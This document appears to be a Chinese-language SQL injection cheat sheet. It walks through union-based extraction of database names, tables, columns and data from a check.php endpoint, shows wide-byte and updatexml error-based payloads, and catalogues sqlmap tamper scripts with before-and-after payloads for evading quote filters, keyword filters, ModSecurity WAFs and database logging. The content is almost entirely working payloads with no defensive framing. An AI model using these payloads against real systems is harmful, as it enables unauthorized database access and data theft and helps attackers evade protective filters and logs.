1
2
3
4
5
6
7
8
9
10
11
12
13
当参数为GET型传输时,需要对#进行URL编码,即%23

检测查询的字段数:/?check.php?username=admin' order by 数字%23

若字段数为3个时,查看回显的点位:/?check.php?username=1' union select 1,2,3%23

若回显的点位为2和3时,查询数据库名和版本:/?check.php?username=1' union select 1,database,version()%23

爆破表名:/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23

爆破指定表字段:/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名'%23

爆破指定表指定字段数据:/check.php?username=1' union select 1,2,group_concat(字段名) from 表名%23

单引号绕过

转义

tamper

1
escapequotes.py

适用数据库

1
ALL

替换前

1
1'

替换后

1
1\\'

汉字双字节编码

假设执行的SQL语句如下:

1
SELECT * FROM `sl_admin` WHERE `username`='值'

当开启了PHP魔术函数过滤了引号时,可以在引号前加上一个汉字双字节编码,实现绕过

1
username=%BF'

%BF解码之后是中文乱码,此时执行的SQL语句如下:

1
SELECT * FROM `sl_admin` WHERE `username`='¿''

后续的注入利用

1
2
3
4
5
6
数据库:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(database()),0x7e),1)#
用户:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(user()),0x7e),1)#
版本:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(version()),0x7e),1)#

URL编码

tamper

1
apostrophemask.py

适用数据库

1
ALL

替换前

1
'

替换后

1
%EF%BC%87

宽字节

tamper

1
unmagicquotes.py

适用数据库,宽字符绕过 GPC addslashes

1
ALL

替换前

1
'

替换后

1
%bf%27

宽字节Unicode编码

tamper

1
apostrophenullencode.py

适用数据库

1
ALL

替换前

1
'

替换后

1
%00%27

加号绕过

concat关键字替换

tamper

1
plus2concat.py

适用数据库

1
SQL Server 2012+

替换前

1
SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL

替换后

1
SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL

fn concat关键字替换

tamper

1
plus2fnconcat.py

适用数据库

1
SQL Server 2008+

替换前

1
SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL

替换后

1
SELECT {fn CONCAT({fn CONCAT(CHAR(113),CHAR(114))},CHAR(115))} FROM DUAL

双引号绕过

转义

tamper

1
escapequotes.py

适用数据库

1
ALL

替换前

1
"

替换后

1
\\"

大于号绕过

greatest关键字替换

tamper

1
greatest.py

适用数据库

1
ALL

替换前

1
a>b

替换后

1
greatest(a,b+1)=a

BETWEEN关键字替换

tamper

1
between.py

适用数据库

1
ALL

替换前

1
A > B

替换后

1
A NOT BETWEEN 0 AND B

and绕过

tamper

1
symboliclogical.py

适用数据库,使用&&替换and

1
ALL

替换前

1
AND

替换后

1
%26%26

or绕过

tamper

1
symboliclogical.py

适用数据库,使用||替换or

1
ALL

替换前

1
or

替换后

1
%7C%7C

union绕过

tamper

1
unionalltounion.py

适用数据库

1
ALL

替换前

1
UNION ALL SELECT

替换后

1
UNION SELECT

等号绕过

like关键字替换

tamper

1
equaltolike.py

适用数据库,将等号用 like 代替,用于过滤了等号的情况

1
ALL

替换前

1
select * from users where id=1

替换后

1
select * from users where id like 1

BETWEEN关键字替换

tamper

1
between.py

适用数据库

1
ALL

替换前

1
A = B

替换后

1
A BETWEEN B AND B

逗号绕过

offset关键字替换

tamper

1
commalesslimit.py

适用数据库,用于过滤了逗号且是两个参数的情况

1
MySQL

替换前

1
LIMIT 2, 3

替换后

1
LIMIT 3 OFFSET 2

from for关键字替换

tamper

1
commalessmid.py

适用数据库,用于过滤了逗号并且是三参数的情况

1
MySQL

替换前

1
MID(VERSION(), 1, 1)

替换后

1
MID(VERSION() FROM 1 FOR 1)

空格绕过

单行注释加换行符

tamper

1
space2mysqldash.py

适用数据库

1
MySQL、MSSQL

替换前

1
1 AND 9227=9227

替换后

1
1--%0AAND--%0A9227=9227

单行注释加随机字符

tamper

1
space2dash.py

适用数据库

1
MSSQL、 SQLite

替换前

1
1 AND 9227=9227

替换后

1
1--upgPydUzKpMX%0AAND--RcDKhIr%0A9227=9227

井号注释加随机字符

tamper

1
space2hash.py

适用数据库

1
MySQL

替换前

1
1 AND 9227=9227	

替换后

1
1%23upgPydUzKpMX%0AAND%23RcDKhIr%0A9227=9227

井号注释加随机字符加换行符

tamper

1
space2morehash.py

适用数据库

1
MySQL >= 5.1.13

替换前

1
1 AND 9227=9227

替换后

1
1%23RcDKhIr%0AAND%23upgPydUzKpMX%0A%23lgbaxYjWJ%0A9227=9227

井号注释加换行符

tamper

1
space2mssqlhash.py

适用数据库

1
MSSQL、MySQL

替换前

1
1 AND 9227=9227

替换后

1
1%23%0AAND%23%0A9227=9227

随机空白符类型1

tamper

1
space2mssqlblank.py

适用数据库,使用的空白符有%01, %02, %03, %04, %05, %06, %07, %08, %09, %0B, %0C, %0D, %0E, %0F, %0A

1
SQL Server

替换前

1
SELECT id FROM users

替换后

1
SELECT%0Did%0DFROM%04users

随机空白符类型2

tamper

1
space2mysqlblank.py

适用数据库,使用的空白符有%09, %0A, %0C, %0D, %0B, %A0

1
MySQL

替换前

1
SELECT id FROM users

替换后

1
SELECT%A0id%0CFROM%0Dusers

随机空白符类型3

tamper

1
space2randomblank.py

适用数据库,使用的空白符有%09, %0A, %0C, %0D

1
ALL

替换前

1
SELECT id FROM users

替换后

1
SELECT%0Did%0CFROM%0Ausers

空字符

tamper

1
bluecoat.py

适用数据库

1
MySQL 5.1, SGOS

替换前

1
空格

替换后

1
%09

加号替换

tamper

1
space2plus.py

适用数据库

1
ALL

替换前

1
SELECT id FROM users

替换后

1
SELECT+id+FROM+users

内联注释

tamper

1
space2comment.py

适用数据库

1
ALL

替换前

1
空格

替换后

1
/**/

内联注释加下划线

tamper

1
space2morecomment.py

适用数据库

1
ALL

替换前

1
SELECT id FROM users

替换后

1
SELECT/**_**/id/**_**/FROM/**_**/users

函数绕过

随机插入注释

tamper

1
commentbeforeparentheses.py

适用数据库,在某个单词后的第一个括号前面加入 /**/ ,用于过滤了函数的情况

1
ALL

替换前

1
union select group_concat(table_name)

替换后

1
union select group_concat/**/(table_name)

concat函数绕过

tamper

1
concat2concatws.py

适用数据库,用于过滤concat函数的情况

1
MySQL

替换前

1
concat(1,2)

替换后

1
concat_ws(mid(char(0), 0, 0), 1, 2)

ifnull函数绕过

tamper

1
ifnull2ifisnull.py

适用数据库

1
MySQL

替换前

1
ifnull(1, 2) 

替换后

1
if(isnull(1), 2, 1)

information_schema绕过

末尾插入注释

tamper

1
informationschemacomment.py

适用数据库

1
ALL

替换前

1
information_schema.tables

替换后

1
information_schema/**/.tables

整体Payload绕过

HTML编码

tamper

1
htmlencode.py

适用数据库

1
ALL

替换前

1
1' AND SLEEP(5)#

替换后

1
1' AND SLEEP(5)#

Unicode编码

tamper

1
charunicodeencode.py

适用数据库

1
ALL 且需要asp或asp.net环境

替换前

1
select * from users

替换后

1
\u0073\u0065\u006c\u0065\u0063\u0074\u0020\u002a\u0020\u0066\u0072\u006f\u006d\u0020\u0075\u0073\u0065\u0072\u0073

URL编码

tamper

1
charencode.py

适用数据库

1
ALL

替换前

1
select * from user

替换后

1
%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%75%73%65%72

二次URL编码

tamper

1
chardoubleencode.py

适用数据库

1
ALL

替换前

1
select * from users

替换后

1
%2573%2565%256c%2565%2563%2574%2520%252a%2520%2566%2572%256f%256d%2520%2575%2573%2565%2572

空字符

tamper

1
appendnullbyte.py

适用数据库

1
Access

替换前

1
and 1=1

替换后

1
and 1=1%00

Base64

tamper

1
base64encode.py

适用数据库

1
ALL

替换前

1
and 1=1

替换后

1
YW5kIDE9MQ==

除函数外的关键字注释

tamper

1
versionedkeywords.py

适用数据库

1
MySQL

替换前

1
SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58)

替换后

1
/*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58)

关键字注释类型1

tamper

1
halfversionedmorekeywords.py

适用数据库

1
MySQL < 5.1

替换前,若关键字前存在空格时,替换后会被删除;不存在空格时只会在关键字前添加/*!0

1
空格UNION

替换后

1
/*!0UNION

关键字注释类型2

tamper

1
versionedmorekeywords.py

适用数据库

1
MySQL >= 5.1.13

替换前

1
SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58)

替换后

1
/*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58)

关键字双写

tamper

1
nonrecursivereplacement.py

适用数据库,可用于关键字过滤

1
ALL

替换前

1
union

替换后

1
uniounionn

关键字插入百分号

tamper

1
percentage.py

适用数据库,插入的位置在每个关键字的每个字母前

1
ALL 且为ASP环境

替换前

1
select * from users

替换后

1
%s%e%l%e%c%t * %f%r%o%m %u%s%e%r%s

特殊字符超长utf编码

tamper

1
overlongutf8.py

适用数据库,只会替换一些空格、大于号这些,sql关键字不会被替换

1
ALL

替换前

1
SELECT FIELD FROM TABLE WHERE 2>1

替换后

1
SELECT%C0%A0FIELD%C0%A0FROM%C0%A0TABLE%C0%A0WHERE%C0%A02%C0%BE1

超长utf编码

tamper

1
overlongutf8more.py

适用数据库

1
ALL

替换前

1
SELECT FIELD FROM TABLE WHERE 2>1

替换后

1
%C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94%C0%A0%C1%86%C1%89%C1%85%C1%8C%C1%84%C0%A0%C1%86%C1%92%C1%8F%C1%8D%C0%A0%C1%94%C1%81%C1%82%C1%8C%C1%85%C0%A0%C1%97%C1%88%C1%85%C1%92%C1%85%C0%A0%C0%B2%C0%BE%C0%B1

末尾插入sp_password关键字

tamper

1
sp_password.py

适用数据库,用于迷惑数据库日志

1
MSSQL

替换前

1
1 AND 9227=9227-- 

替换后

1
1 AND 9227=9227-- sp_password

大写

tamper

1
uppercase.py

适用数据库

1
ALL

替换前

1
insert

替换后

1
INSERT

大写转小写

tamper

1
lowercase.py

适用数据库

1
ALL

替换前

1
UNION SELECT

替换后

1
union select

随机大小写

tamper

1
randomcase.py

适用数据库

1
ALL

替换前

1
SELECT id FROM `user`

替换后

1
SeLeCt id FrOm `user`

随机插入注释

tamper

1
randomcomments.py

适用数据库

1
ALL

替换前

1
INSERT

替换后

1
I/**/NS/**/ERT

WAF绕过

X-Forwarded-For头绕过

tamper

1
xforwardedfor.py

适用数据库,添加一个X-Forwarded-For值、X-Client-Ip值、X-Real-Ip值、CF-Connecting-IP值和True-Client-IP值为随机IP的请求头参数

1
ALL

X-originating-IP头绕过

tamper

1
varnish.py

适用数据库,添加一个X-originating-IP值为127.0.0.1的请求头参数

1
all

ModSecurity旧版WAF绕过

tamper

1
modsecurityversioned.py

适用数据库

1
MySQL

替换前

1
1 and 2>1--+

替换后

1
1 /*!30874and 2>1*/--+

ModSecurity新版WAF绕过

tamper

1
modsecurityzeroversioned.py

适用数据库

1
MySQL

替换前

1
1 AND 2>1--

替换后

1
1 /*!00000AND 2>1*/--

未知绕过

1
id=@`'` union select 1,2,3 from user -- '